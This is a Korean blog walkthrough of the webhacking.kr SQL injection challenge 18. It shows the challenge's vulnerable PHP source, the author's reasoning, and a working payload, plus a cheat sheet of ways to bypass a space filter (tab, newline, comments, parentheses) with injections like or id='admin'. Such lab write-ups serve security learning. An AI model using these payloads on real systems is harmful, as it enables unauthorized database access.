<html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?
if($_GET[no])
{
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));
if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}
}
?>
</a>
<br><br><a href=index.phps>index.phps</a>
</cener>
</body>
</html>
위 소스코드를 분석하면, eregi 함수를 사용해 $_GET['no'] 변수를 필터한다.
필터 문자로는 공백, /, (, ), 탭, |, &, union, select, from, 0x 이다.
[쿼리]
SELECT id FROM challenge18_table WHERE id='guest' and no=$_GET['no']
위와 같은 쿼리에서 $_GET['no'] 파라미터에 or no=admin계정의 no 값을 넣어주려고 했지만 no 값이 정확히 몇인지 모르고 귀찮아서 id='admin'을 해주려했지만 실패!
이유는? phpinfo() 값을 보니 magin_quotes_gpc 값이 On으로 설정돼있다.
따라서 싱글쿼터가 안들어가게 admin 을 넣어줘야한다.
or id=0x61646d696e 를 $_GET['no']에 넣어주면 될 것 같지만 공백과 0x를 eregi함수에서 필터하기 때문에 실패!
char 함수로 admin문자를 만들어주려고 했지만 괄호까지 eregi 함수에서 필터하기 때문에 id를 이용한 SQL 인젝션은 포기하고 no 값을 0부터 하나하나 차근차근 넣기 시작
no=100%0aor%0ano=2 를 넣어보니 성공!
# 공백 우회 문자
1. Tab : %09
- no=1%09or%09id='admin'
2. Line Feed (\n): %0a
- no=1%0aor%0aid='admin'
3. Carrage Return(\r) : %0d
- no=1%0dor%0did='admin'
4. 주석 : /**/
- no=1/**/or/**/id='admin'
5. 괄호 : ()
- no=(1)or(id='admin')
6. 더하기 : +
- no=1+or+id='admin'
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 07번 SQL 인젝션 UNION (0) | 2018.08.31 |
---|---|
[webhacking.kr] 46번 SQL 인젝션 CHAR() (0) | 2018.08.29 |
[webhacking.kr] 39번 SQL 인젝션 (0) | 2018.08.28 |
[webhacking.kr] 26번 (0) | 2018.08.24 |
[webhacking.kr] 20번 (0) | 2018.08.24 |